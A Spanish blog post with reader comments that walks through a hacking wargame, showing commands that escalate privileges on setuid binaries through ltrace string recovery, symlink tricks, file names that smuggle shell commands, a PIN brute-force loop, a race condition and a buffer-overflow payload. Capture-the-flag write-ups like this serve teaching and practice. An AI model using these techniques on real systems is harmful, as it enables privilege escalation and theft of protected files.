lunes, 26 de abril de 2010

Leviathan Wargame

Hace unos días leíamos en el Twitter de RoMaNSoFt sobre la existencia de una serie de retos de seguridad en la web Intruded.Net que consisten en que se nos da la shell del primer nivel y tenemos que ir escalando al usuario de nivel superior hasta que completamos todas las fases del reto.

Siempre me han encantado los Wargames/Retos Hacking, especialmente aquellos en los que oigo a alguien decir que son muy difíciles, o por contra, que son muy fáciles y se pueden sacar en muy poco tiempo, porque me pican a ver si yo soy capaz de sacarlo tan rápido o, sencillamente si soy capaz de sacarlo. En este caso, este Twitt concreto hablaba de Leviathan, el Wargame más sencillo de los que hay en la web, del cual sus creadores dicen lo siguiente:

"Este wargame no requiere ningún conocimiento sobre programación - solo un poco de sentido común y algún conocimiento sobre los comandos básicos de *nix."

No está mal, es un Wargame que puede resultar muy interesante para aquellas personas que les gusta la seguridad, pero que por contra no tienen conocimientos de programación y/o reversing.

En este caso, este Wargame se basa en la existencia de algunos binarios con suid a los que les debes encontrar algún tipo de fallo que te permita acceder a un fichero .passwd que existe en el home del usuario propietario del binario, y que contiene la contraseña para el siguiente nivel. Por ejemplo, en /home/level1/.passwd está contenida la contraseña del nivel 1, y el resto de contraseñas están en ficheros idénticos en sus respectivos home's.

El Wargame, como dice RoMaNSoFt, es sencillo pero divertido, así que lo recomiendamos a todos aquellos a los que les gusten este tipo de retos, tengan el nivel que tengan. Para aquellos a los que les cueste algún nivel, o sencillamente para los que no tengan tiempo de ponerse a resolverlos pero que les gustaría saber que tipo de fallos tenían los binarios, escribimos a continuación nuestras soluciones a los retos, así que si tienes la intención de intentarlo por ti mismo... PARA DE LEER AQUÍ!!



Inténtalo al menos, no? :P



Para...



Para!!!



QUE PARES!!!!



Ok, tú lo has querido, aquí están nuestras soluciones, en las que podeis ver en negrita los comandos o entradas que debe introducir el usuario:


Solución al nivel 1

La contraseña para entrar con el usuario level1 la tenemos en la web de incio del reto, así que usando esos datos conectamos a la máquina:


$ ssh -p 10101 level1@leviathan.intruded.net
*******************************************
* Welcome to Intruded.net Wargame Server
*
* * You are playing "Leviathan"
* * Most levels can be found in /wargame
* * Login: level1:leviathan
* * Support: irc.intruded.net #wargames
*
*
* ! Server is restarted every 12 hours
* ! Server is cleaned every reboot
* ! /tmp direcotry is writable
*
*******************************************

Nada más empezar nos dice que la mayoría de niveles puede encontrarse en /wargame, así que vamos a pegarle un vistazo al directorio a ver que nos encontramos:

$ ls -la /wargame/
total 48
drwxr-xr-x 2 root root 4096 2008-03-26 02:41 .
drwxr-xr-x 22 root root 4096 2008-03-26 02:54 ..
-r-sr-s--- 1 level3 level2 7738 2008-03-26 02:31 check
-r-sr-s--- 1 level5 level4 8090 2008-03-26 02:33 level4
-r-sr-s--- 1 level7 level6 7696 2008-03-26 02:34 printfile
-r-sr-s--- 1 level4 level3 8051 2008-03-26 02:51 prog
-r-sr-s--- 1 level8 level7 7661 2008-03-26 02:35 sphinx

Como comentábamos antes, parece que tenemos unos cuantos binarios con el bit suid activo que va a permitir ejecutar algo al usuario levelX con los privilegios del usuario levelX+1. Sin embargo, hay dos casos para los que no tenemos binario en este directorio, en el level1 (en el que nos encontramos) y en el level5.

Bueno, si no tenemos nada en este directorio, vamos a ver que es lo que hay en el home del usuario level1:

$ ls -la
total 28
drwx------ 3 level1 level1 4096 2008-03-26 02:12 .
drwxr-xr-x 10 root root 4096 2008-03-26 01:55 ..
drwxr-xr-x 2 root level1 4096 2008-03-26 02:22 .backup
-rw-r--r-- 1 root root 0 2008-03-26 02:08 .bash_history
-rw-r--r-- 1 root root 220 2008-03-25 22:24 .bash_logout
-rw-r--r-- 1 root root 414 2008-03-25 22:24 .bash_profile
-rw-r--r-- 1 root root 2227 2008-03-25 22:24 .bashrc
-rw-r--r-- 1 root root 10 2008-03-26 01:53 .passwd

Así a primer vistazo, ese directorio .backup parece intesante. Si miramos dentro nos encontramos con un fichero bookmarks.html donde tenemos el backup de la lista de favoritos de un navegador. Parece que hay muchos enlaces, quizá demasiados para revisarlos uno por uno:

$ cat bookmarks.html | wc -l
1399

Ufff, demasiados como para revisar a mano, pero quizá si buscamos algunas palabras claves como "level", "password" o similar obtengamos algún resultado interesante:

$ cat bookmarks.html | grep -i pass
[...]http://www.goshen.edu/art/ed/teachem.htm[...]password to level2

¿Una web con título "password to level2"? No puede ser tan fácil, ¿o sí?


Contraseña Nivel2: vFPMNdI0


Solución al nivel 2

Si nos acordamos de los binarios que vimos en /wargame, recordaremos que existía un binario "check" que podría permitirnos el paso al nivel 3, así que lo primero que hacemos es pegarle un vistazo al binario a ver que hace:

$ cd /wargame
$ ./check
password: PATATA
Wrong password, Good Bye ...

Parece que vamos a tener que acertar con una palabra secreta que nos dará algún tipo de acceso a la contraseña del nivel superior. Evidentemente podríamos conger el binario y desensamblarlo, a ver que hace, pero vamos a optar por algo más sencillo e inmediato, que en muchas ocasiones nos va a dar buenos resultados. Para ello utilizaremos las herramientas *trace existentes en los sistemas Linux, que nos permiten hacer una traza de la ejecución de un binario, bien sea a nivel de llamadas del sistema, procesos, llamadas a librerías, etc, dependiendo de la herramienta concreta que escojamos. En este caso, el que mejor resultado nos puede dar es ltrace, ya que presumiblemente una comparación de cadenas será realizada con funciones típicas como strcmp, para las cuales se realizará una llamada a la librería correspondiente:

$ ltrace ./check
__libc_start_main(0x8048464, 1, 0xbffffad4, 0x8048580, 0x8048530
printf("password: ") = 10
getchar(0x8048638, 0xb7fe0ff4, 0xbffffa28, 0x80483f0, 0xb7fe0ff4password: PATATA
) = 80
getchar(0x8048638, 0xb7fe0ff4, 0xbffffa28, 0x80483f0, 0xb7fe0ff4) = 65
getchar(0x8048638, 0xb7fe0ff4, 0xbffffa28, 0x80483f0, 0xb7fe0ff4) = 84
strcmp("PAT", "sex") = -1
puts("Wrong password, Good Bye ..."Wrong password, Good Bye ...
) = 29
+++ exited (status 29) +++

¡Bingo! Si os fijais en la traza, vemos una llamada a strcmp("PAT", "sex"), que nos muetra que los tres primeros caracteres de la cadena que hemos introducido están siendo comparados con la palabra "sex", y da resultado negativo (-1) ¿Qué pasa si introducimos la cadena "sex" como contraseña? Es fácil de imaginar, vamos a obtener una shell con privilegios del usuario level3 con la que podremos acceder al fichero .passwd en el que contiene la contraseña para el siguiente nivel:

$ ./check
password: sex

sh-3.1$ id
uid=1001(level2) gid=1001(level2) euid=1002(level3) groups=1001(level2)

sh-3.1$ cat /home/level3/.passwd
oc7vaCOg

Contraseña Nivel3: oc7vaCOg


Solución al nivel 3

Si volvemos a los binarios que vimos en /wargame, existe un binario "prog" que tiene idénticas características al que utilizamos para conseguir el pase a este nivel. Vamos a pegarle un vistazo a ver que hace:

$ ./prog
Cannot find /tmp/file.log

$ echo PATATA > /tmp/file.log

$ ./prog
PATATA

Vale, parece que el binario lee el contenido del fichero /tmp/file.log empleando los privilegios del usuario del siguiente nivel, así que si conseguieramos que lea de /home/level4/.passwd en lugar de /tmp/file.log tendremos nuestra contraseña, así que... ¿Qué tal si creamos un enlace simbólico en /tmp/file.log que apunte a /home/level4/.passwd?

$ ln -s /home/level4/.passwd /tmp/file.log

$ ./prog
R0gBtSP5

¡Ya lo tenemos!

Contraseña Nivel4: R0gBtSP5


Solución al nivel 4

El nivel 4 es muy parecido al nivel 2, tenemos un binario "level4" que nos pide una contraseña que en principio nos proporcionará algún tipo de acceso a los privilegios de level5. Si repetimos la traza que hicimos con el nivel 2, podemos buscar de la misma manera las llamadas a strcmp:

$ ./level4
Enter the password> PATATA
bzzzzzzzzap. WRONG

$ ltrace ./level4
__libc_start_main(0x8048523, 1, 0xbffffac4, 0x8048650, 0x8048600
strcmp("h0no33", "kakaka") = -1
printf("Enter the password> ") = 20
fgets(Enter the password> PATATA
"PATATA\n", 256, 0xb7fe1300) = 0xbffff8dd
strcmp("PATATA\n", "snlprintf\n") = -1
puts("bzzzzzzzzap. WRONG"bzzzzzzzzap. WRONG
) = 19
+++ exited (status 0) +++

Como podemos ver, en este caso la cadena con la que se compara es "snlprintf", así que solo tenemos que llamar nuevamente al binario con esa contraseña para obtener el acceso, y de ahí obtener la contraseña al siguiente nivel:

$ ./level4
Enter the password> snlprintf
[You've got shell]!

$ id
uid=1003(level4) gid=1003(level4) euid=1004(level5) groups=1003(level4)

$ cat /home/level5/.passwd
Dx08I4vD

¡Uno menos! ¡A por el siguiente!

Contraseña Nivel5: Dx08I4vD


Solución al Nivel 5

Tras no encontrar ningún binario que nos sirve para pasar al nivel 6 en el directorio /wargame, pegamos un vistazo al home del usuario level5, y nos encontramos un directorio ".Trash" que contiene un binario "bin" con las mismas características que los binarios existentes en /wargame:

$ ls -la
total 28
drwx------ 3 level5 level5 4096 2008-03-26 02:41 .
drwxr-xr-x 10 root root 4096 2008-03-26 01:55 ..
-rw-r--r-- 1 root root 0 2008-03-26 02:09 .bash_history
-rw-r--r-- 1 root root 220 2008-03-26 01:54 .bash_logout
-rw-r--r-- 1 root root 414 2008-03-26 01:54 .bash_profile
-rw-r--r-- 1 root root 2227 2008-03-26 01:54 .bashrc
-rw-r--r-- 1 root root 9 2008-03-26 01:55 .passwd
drwxr-xr-x 2 root level5 4096 2008-03-26 02:41 .Trash

$ cd .Trash/
$ ls -la
total 16
drwxr-xr-x 2 root level5 4096 2008-03-26 02:41 .
drwx------ 3 level5 level5 4096 2008-03-26 02:41 ..
-r-sr-s--- 1 level6 level5 7519 2008-03-26 02:34 bin

Como en el resto de ocasiones, vamos a ejecutar el binario a ver que es lo que hace:

$ ./bin
00110110 01101100 01111001 01110110 01001100 01011000 01000011 01000001 00001010

No nos pide ningún tipo de entrada, así que probablemente está sacando esto que nos enseña de algún fichero cuya ruta tiene en el interior del código, al igual que pasaba con el nivel 3. Vamos a hacerle un pequeño ltrace al binario a ver que fichero está abriendo:

$ ltrace ./bin
__libc_start_main(0x80483e4, 1, 0xbffffac4, 0x8048530, 0x80484e0
fopen("/home/level6/.passwd", "r")

¡Vaya! Parece que no nos va a hacer falta hacer ningún tipo de trampeo, ya que está sacando esta información que nos muestra precisamente del fichero que guarda la contraseña del siguiente nivel. El único problema es que nos la está mostrando en formato binario, pero eso buscando en Google algún conversor se arregla fácilmente:


Contraseña Nivel6: 6lyvLXCA


Solución al Nivel 6


Para pasar al nivel 7 esta vez tenemos que "destripar" un binario llamado printfile, cuyo nombre ya nos hace pensar que pasar este nivel va a ser parecido a pasar el nivel 3. Veamos lo que hace este binario:

$ ./printfile
*** File Printer ***
Usage: ./printfile filename

Mmmmm, ¿Nos deja pasarle el nombre del fichero? No puede ser tan fácil:

$ ./printfile /home/level7/.passwd
You cant have that file...

Era demasiado bonito para ser verdad, pero todavía no está todo perdido, vamos a crear un fichero accesible y trazar a ver como funciona:

$ echo PATATA > /tmp/myfile
$ ./printfile /tmp/myfile
PATATA

$ ltrace ./printfile /tmp/myfile
__libc_start_main(0x8048424, 2, 0xbffffab4, 0x8048570, 0x8048520
access("/tmp/myfile", 0) = 0
snprintf("/bin/cat /tmp/myfile", 511, "/bin/cat %s", "/tmp/myfile") = 20
system("/bin/cat /tmp/myfile"PATATA

--- SIGCHLD (Child exited) ---
<... system resumed> ) = 0
+++ exited (status 0) +++

Parece ser que el binario realiza en primer lugar una llamada a la función "access" para comprobar los permisos del fichero que queremos abrir, y posteriormente contruye una cadena que realiza un "cat nuestra_entrada", claramente vulnerable a injección de comandos. El problema que tenemos es que sea cual sea la entrada que le pongamos (con la inyección de comandos incluida), debe existir un fichero con ese mismo nombre, para que dicho control no sea efectivo.

Después de algunas pruebas, y de comprobar que el caracter / nos daba algunos problemas, vimos que la solución era crear un fichero cuyo nombre contuviera un espacio seguido del nombre del fichero .passwd del siguiente nivel, así podriamos hacer bypass de la función access, puesto que dicho fichero existe, pero al formar la cadena con la que se llama a system nos quedaría algo así como "cat file .passwd", con lo que el primero nos devolverá un error (no existe) pero el contenido del segundo nos será mostrado. Veamoslo:

$ cd /tmp
$ ln -s /home/level7/.passwd symlink
$ echo PATATA > "myfile symlink"
$ /wargame/printfile "myfile symlink"
/bin/cat: myfile: No such file or directory
X98ZdPfp

Contraseña Nivel7: X98ZdPfp


Solución al Nivel 7

Llegamos al séptimo y último nivel, en el que tenemos un binario "sphinx" del que, antes de nada, tendremos que averiguar que hace exactamente. Repitiendo los pasos que hemos realizado para resolver en los anteriores niveles, trazamos su ejecución a ver que nos encontramos:

$ ./sphinx
usage: ./sphinx <4>

$ ./sphinx 1234
Wrong

$ ltrace ./sphinx 1234
__libc_start_main(0x8048464, 2, 0xbffffac4, 0x8048550, 0x8048500
atoi(0xbffffbd3, 0x8049714, 0xbffffa28, 0x8048321, 0xbffffa50) = 1234
puts("Wrong"Wrong
) = 6
+++ exited (status 6) +++

Como podemos ver, no parece que el binario realice muchas llamadas, pero entre ellas sí que nos llama la atención una llamada a la función "atoi" ("ascii to integer"), con la que se convierte la cadena de texto que hemos introducido ("1234") a su entero correspondiente (1234). Probablemente la comparación con el PIN que nos va a permitir pasar este último nivel no se realiza como comparación de dos cadenas, sino como una simple comparación de dos enteros dentro de una sentencia "if", lo cual es un problema a la hora de realizar la traza, puesto que no se realiza ninguna llamada externa y por tanto no podemos averiguar con este método cual es el PIN secreto.

La manera más inmediata de hacerlo sería desensamblar el binario y buscar exactamente que comparaciones hace tras llamar a "atoi", pero siento el PIN un número entero de 4 digítios tal y como se nos indica en el binario, casi que no merece la pena hacer ningún tipo de desensamblado, ya que podemos recorrer todas las posibles soluciones y comprobar sus resultados mediante un ataque de fuerza bruta en un tiempo muy acotado. En este caso, yo lo he hecho con este pequeño shellscript, aunque seguro que hay formas más eficientes de hacerlo:

$ time for a in 0 1 2 3 4 5 6 7 8 9
do
for b in 0 1 2 3 4 5 6 7 8 9
do
for c in 0 1 2 3 4 5 6 7 8 9
do
for d in 0 1 2 3 4 5 6 7 8 9
do
./sphinx $a$b$c$d | grep -i wrong &>/dev/null
if [ $? -ne 0 ]
then
echo $a$b$c$d
fi
done
done
done
done
sh-3.1$ exit
exit
7123

real 1m12.020s
user 0m3.768s
sys 1m4.100s

¡BINGO! Ya lo tenemos. La ejecución se ha quedado parada en la clave "7123", momento en el cual nos ha devuelto una shell, que hemos cerrado inmediatamente para ver cuanto tiempo nos ha costado realizar un ataque de fuerza bruta contra todos los posibles PINs. En este caso, como podemos ver, poco más de 1 minuto. Una vez que tenemos el PIN del binario ya solo tenemos que usarlo para conseguir la contraseña del último nivel:

$ ./sphinx 7123
sh-3.1$
sh-3.1$ id
uid=1006(level7) gid=1006(level7) euid=1007(level8) groups=1006(level7)
sh-3.1$
sh-3.1$ cat /home/level8/.passwd
FsnC0xl7

Contraseña Nivel8: FsnC0xl7

Una vez que llegamos al nivel 8 ya no existen más binarios, es el último nivel. Lo único que tenemos es un fichero de texto que nos da la enhorabuena por haber superado todos los niveles del reto:


¿Qué me decís?
¿Lo habeis probado?
¿Qué os ha parecido?
¿Alguna otra manera de resolver alguno de los retos?

A mi personalmente me ha parecido un reto divertido, suficientemente divertido como para pegarle un ojo al resto de retos que hay en la misma web ;)

34 comentarios :

Anónimo dijo...

How strong is your fu?

http://www.backtrack-linux.org/backtrack/offensive-security-hacking-tournament/

Saludos, Keyser Soze

dodger dijo...

Muy interesante, me ha gustado el descubrimiento del sitio. Pero me he puesto con el siguiente (narnia), y me ha parecido muchísimo más dificil... ¿os animáis a publicar también la solución? :)

Jose Selvi dijo...

@Keyser: Tenía ya localizado ese reto, pero me temo que ese fin de semana tengo compromisos :S A ver si la próxima vez puedo apuntarme. Gracias por el aviso!

@dodger: El siguiente nivel de retos (narnia) sí que requiere algunos conocimientos de programación. No he podido mirarlo demasiado, solo rápidamente el nivel1, del cual te voy a dar una pista: http://www.pentester.es/2009/11/exploiting-i-buffer-overflow-stack.html .Lo bueno de Narnia es que tienes el código fuente de todos los binarios, así que puede ser muy divertido para aquellos que no son unos gurús del ensamblador, pero que si les das el código sin capaces de ver las vulnerabilidades típicas.

Los retos de esta web nos han gustados, así que conforme vayamos sacando tiempo para ir resolviendolos sí que supongo que iremos poniendo las soluciones, sobretodo si vemos que hay interés por vuestra parte en leerlas.

Gracias por vuestros comentarios!
Saludos!

a0rtega dijo...

Bueno yo tardé más de una hora en sacarlo, no como Román, pero lo disfruté mucho la verdad.
La 2 y 4 las saqué con un editor hexadecimal, algo más rudimentario pero también válido ;-)
El nivel con el que más me entretuve con diferencia fué el 6.
No he mirado los otros, pero en cuanto pueda intentaré hacer algo :)

Un saludo!

Jose Selvi dijo...

@a0rtega: Yo también pienso que el 6 es el más "complicadillo", más que nada porque hay caracteres que no te deja usar para formar el nombre de un fichero :P

ptm dijo...

y yo usando el gdb...ltrace!!

Jose Selvi dijo...

@ptm: En general, usar el depurador es la opción "buena", pero para este caso el asunto es tan sencillo que con un ltrace ha bastado :)

Gracias por tu comentario!
Saludos!

Adrián dijo...

Yo también vi el tweet de RomanSoft y me puse a probarlo esa tarde. Me atasqué en el 6 bastante rato, aunque al final salió. Incluso llegué a enfocarlo en base a la vulnerabilidad que supone hacer un access antes de realmente abrir el fichero. Me explico:
creaba un symlink a un fichero mío con permisos, arrancaba el binario con gdb, lo paraba justo tras la verificación del access, y entonces apuntaba el symlink al fihcero passwd. Por desgracia con este método cat me decía que no tenía permisos para leerlo, lo que me desconcertó mucho pero el tema del setuid, y empecé a pensar que claro, que si bash dropeaba privilegios cuando se lanzaba entonces no tenía permisos para ver el fichero... xD

En resumen, no era difícil, pero si coges una mala idea y la sigues puedes perder mucho tiempo. El resto de niveles usé también strace/ltrace, pero también strings y desensamblado.

Iba a poner algo en mi blog, pero te dejo la exclusividad :P

Jose Selvi dijo...

@Adrián: efectivamente, a priori podría existir una "condición de carrera" ya que se hace un access del fichero y posteriormente se hace el system.

Haz esta prueba:
$ touch /tmp/"myfile;id"
$ ./printfile "/tmp/myfile;id"
/bin/cat: /tmp/myfile: No such file or directory
uid=1005(level6) gid=1005(level6) euid=1006(level7) groups=1005(level6)
$ rm "/tmp/myfile;id"

Ves que el EUID es level7? Intenta hacerlo ahora, lo mismo, pero lanzándolo desde el depurador, a ver que pasa.

Por lo del blog no hay problema, pon lo que te parezca, seguro que tus soluciones no son exactamente iguales a las mías, y siempre es interesante ver la manera de razonas de otras personas :)

palako dijo...

Casi todo lo he resuelto igual que vosotros, Las principales diferencias son que los niveles 2 y 4 los saque haciendole un strings al fichero, el nivel 6 con la condicion de carrera y el nivel 7 desensamblando y mirando los dos operadores de cmp.

Jose Selvi dijo...

@palako: Gracias por tu aportación :)

Me habéis picado con la condición de carrera, me pareció más sencillo hacerlo de la otra manera, pero como ya sois 2 personas que me decís que lo resolvéis así... a ver si saco un rato y lo pruebo ;)

Saludos!

Sebastián Guerrero dijo...

Buenas, no sé si habéis visto que en la página principal hay un listado con los wargames que ofrecen.

Exploits, ingeniería inversa, programación.

¿Habéis intentado meterle mano ya alguno de vosotros?, podríamos ir comentando las soluciones.

Un saludo

Jose Selvi dijo...

@Sebas: Sí que llevamos idea de irlos mirando y poniendo nuestras soluciones.

De momento he mirado solo el primer nivel de "Narnia" y también parece interesante, pero el resto la verdad es que aún no he mirado nada.

[Juan Jose] dijo...

Muy bueno el wargame, gracias por enseñarnos. Yo tambien empece con el narnia, el nivel1 parece muy facil pues es un buffer overflow de libro, pero no soy capaz de representar \xef\xbe\xad\xde en el terminal.¿? Alguna idea¿?

Por cierto, excelente el blog.
Juan Jose

Jose Selvi dijo...

@[Juan Jose]: Yo lo hice con Python:

python -c 'print 20*"A"+"\xef\xbe\xad\xde"'

Copiaba la salida y la pegaba después cuando me lo pide el binario.

No recuerdo ahora cuantas A's eran, lo he puesto de memoria :P

Gracias por tu comentario y por tus bonitas palabras sobre el blog!

[Juan Jose] dijo...

@Jose Selvi
Gracia yo habia probado algo parecido:

python -c 'print 20*"A"; print "\xef\xbe\xad\xde"' > 1.bin

Pero resulta que python añade un salto de linea y no me funcionaba. Lo veo al salvarlo en el archivo1.bin:

hexdump -C 1.bin

41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 0a ef be ad de 0a

De tu manera evitas el primer 0a y claro funciona

Saludos

Jose Selvi dijo...

@[Juan Jose]: Me alegra haberte ayudado ;)

[Juan Jose] dijo...

@Jose Selvi
No lo entiendo, pero no logro copiar bien esos caracteres. Acabo de intentarlo:

level1@narnia:/wargame$ python -c 'print 20*"A" + "\xef\xbe\xad\xde"'
AAAAAAAAAAAAAAAAAAAAᆳ
level1@narnia:/wargame$ ./level1
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: AAAAAAAAAAAAAAAAAAAAᆳ
buf: AAAAAAAAAAAAAAAAAAAAᆳ
val: 0x00adbeef
WAY OFF!!!!

Que conste que he copiado toda la linea pero no se donde se ha metido \xde??
Perdona por ser tan pesado, pero no lo entiendo......
Creo que lo mismo estoy abusando de los comentarios, si quieres podemos seguir por correo, cvtukan(arroba)gmail.com

Un saludo
Juan Jose

Jose Selvi dijo...

@[Juan Jose]: eso es porque el ascii correspondiente no se muestra en tu terminal, así que al copiar y pegar se pierde.

Haz la prueba, pásalo directamente con la tubería sin pasar por el terminal y verás:

python -c 'print 20*"A" + "\xef\xbe\xad\xde"' | ./level1

Si tienes más dudas escríbeme, a jselvi@ de este mismo dominio pentester.es :P

Impacientes! Me vais a chafar el post de Narnia! xDDDD Es broma, escríbeme y te ayudaré en lo que pueda.

Saludos!

G0sU dijo...

Joer yo me acabo de enterar de esto hace 2 horas, si es que no estoy atento a nada.

La mayoría de cosas las he hecho igual que vosotros.

En la última prueba lo único que en lugar de usar el churro "for a in 0 1 2 3 4 5 6 7 8 9" he usado for a in {0..9}, ya que como es bash 3 lo que tiene el servidor permite hacer esto. A si, y la opción -vi del grep en vez de la redirección a /dev/null.

En cuanto al punto6, quiero intentarlo también con la condición de carrera. Imagino que con un fork donde uno ejecute el script a un enlace simbólico valido y el otro quite el enlace simbólico valido por otro que apunte al .passwd debería de funcionar, ahora después de comer me pongo.

Por cierto aquí mi panfleto de la solución, es de risa:
http://pastebin.com/1rNJep4L

JMG :P

G0sU dijo...

Ya está, probado en modo condición de carrera para el nivel6 y me ha funcionado (ni comer tranquilo me deja el reto). Dejo aquí el cond.c por que no se lleva bien con el blog...:

http://pastebin.com/10ADZfbx

level6@leviathan:/tmp$ gcc cond.c -o cond
level6@leviathan:/tmp$ echo "estoekaka" > kaka
level6@leviathan:/tmp$ ln -s /tmp/kaka /tmp/prueba
level6@leviathan:/tmp$ ./cond
estoekaka
level6@leviathan:/tmp$ ./cond
estoekaka
level6@leviathan:/tmp$ ./cond
estoekaka
level6@leviathan:/tmp$ ./cond
X98ZdPfp
level6@leviathan:/tmp$

Selvi no te me escapes hoy que tengo una duda para el SANS sobre dd, ahora lo mandaré a la lista :D.

JMG.

Jose Selvi dijo...

@GOsU: Gracias por compartir con nosotros tú código para la condición de carrera :)

¿Te refieres a la lista del curso de SANS que estoy dando? ¿Al Advisory Board? ¿a cual? :P

¿Nos conocemos? xD
Saludos!

G0sU dijo...

Claro que me conoces. Soy ximete terremoto :P. Fíjate en el final "JMG" XD.

Me refiero al curso de SANS 504 GCIH. Hoy por la noche mando el correo, que no me dio tiempo ayer a mandarlo.

Jose Selvi dijo...

Ah, OK Ximo xD

Tampoco te puedes fiar mucho de la firmas. Hay uno que me firma como el "malo" de la peli "Sospechosos Habituales", y juraría que no debe ser él :P

Me parece que os habeis complicado un poco con la condición de carrera, ¿no? Yo veo más sencillo lo de crear el ficherito. Entre gustos...

palako dijo...

Para mi la condicion de carrera no fue tan dolorosa:

level6@leviathan:/wargame$ rm /tmp/level6 && echo "hi" > /tmp/level6 && ./printfile /tmp/level6 & rm /tmp/level6 && ln -s /home/level7/.passwd /tmp/level6


Lo ejecute 4 veces o asi, a la cuarta salio.

Jose Selvi dijo...

@palako: buena solución :)

Me refería a que es menos... determinista, más dependiente un poco de la suerte, no sé :P

Las condiciones de carrera no son del tipo de vulnerabilidades que más me gustan, lo tengo que reconocer xD

Se permite tener vulnerabilidades favoritas en este mundillo? xDDDDD

Sebastián Guerrero dijo...

Por algún motivo que desconozco, al hacer lo que comenta @Jose Selvi no obtengo ese cambio de uid y no me retorna la shell.

¿Alguno sabe el motivo?

PD: Hablo del siguiente nivel del reto.

Un saludo

palako dijo...

Sebas, te refieres a esto?

python -c 'print 20*"A" + "\xef\xbe\xad\xde"' | ./level1

Si haces eso, funcionar, funciona, pero tal como acaba la ejecucion del primer programa (phyton) acaba tambien la del segundo, y por tanto termina inmediatamente. O dicho de otro modo, la shell te sale, pero el programa termina tan rapido que ni la ves.

Lo que tienes que hacer es que el primer comando se quede esperando algo que ademas puedas al escribirlo lo pase al otro lado del pipe. Yo tengo dos formas de hacerlo, una con un programa relativamente complejo en C, y otra que tan simple que me da verguenza que no se me ocurriera a mi:

(python -c 'print 20*"A" + "\xef\xbe\xad\xde"'; cat) | ./level1

Sebastián Guerrero dijo...

@palako muchas gracias por el consejillo, se me había pasado ese detalle por alto.

La forma de C que yo he encontrado y que no sé si es la misma que has hecho tú, es utilizar un puntero que apunte al primer byte de 0xdeadbeef y a partir de ahí ir recorriendo mostrando su contenido.

Así es como lo he conseguido sacar, pero me parece rizar demasiado el rizo, cuando hay formas más sencillas de hacerlo.

Un saludo!

Jose Selvi dijo...

@Sebas: La prueba que ponía yo solo era para que vierais que era un problema al "copiar y pegar", pero evidentemente así no saca shell, como bien explica @palako

Yo la verdad es que tuve suerte y el cliente SSH que usaba imprimía bien esos caracteres, así que copie y pegué sin problemas.

En el caso de que no hubiera funcionado, me hubiera creado un pipe y hubiera usado in tail de ese pipe para que el proceso fuente de datos nunca se cerrara, y con otra ventana hubiera ido metiendo las lineas en el pipe.

De todas maneras, me quedo con la solución del "; cat" que dice @palako, me parece mucho más sencilla e igualmente efectiva :D

Gracias por vuestros comentarios a los dos ;)

Jose Selvi dijo...

Por si queréis probar la solución que os decía:

* VENTANA A:
mknod /tmp/tuberia p
tail -f /tmp/tuberia | /wargame/level1

* VENTANA B:
python -c 'print 20*"A" + "\xef\xbe\xad\xde"' >> /tmp/tuberia
echo cat /home/level2/.passwd >> /tmp/tuberia

En la Ventana A se ve la salida.

chmeee dijo...

Para otra vez, cuando queráis generar números consecutivos, podéis usar seq.

seq -w 0000 9999
0000
0001
0002
...

Por lo demás, muchas gracias por las respuestas. He intentado ir leyendo sólo lo mínimo para que me vienese la idea feliz... o menos :).

Para el level6, yo he creado un conjunto de directorios (y así resolver el tema del '/'):

mkdir -p /tmp/pavo\;cat\<\/home\/level7\/.passwd

Jose Selvi dijo...

@chmeee: Gracias por la aportación :)

La gracia de estos retos es que muchas veces se pueden resolver de formas algo diferentes, pero lo importante para saber si tu solución vale o no es fácil ¿funciona? pues entonces perfecto.

Gracias por tu comentario!
Un saludo!

Juan Navas Juegos wargames dijo...

Interesante artículo y muy interesante su blog, tienen ustedes cosas muy bueno. Ya tiene un nuevo lector.
Gracias por su trabajo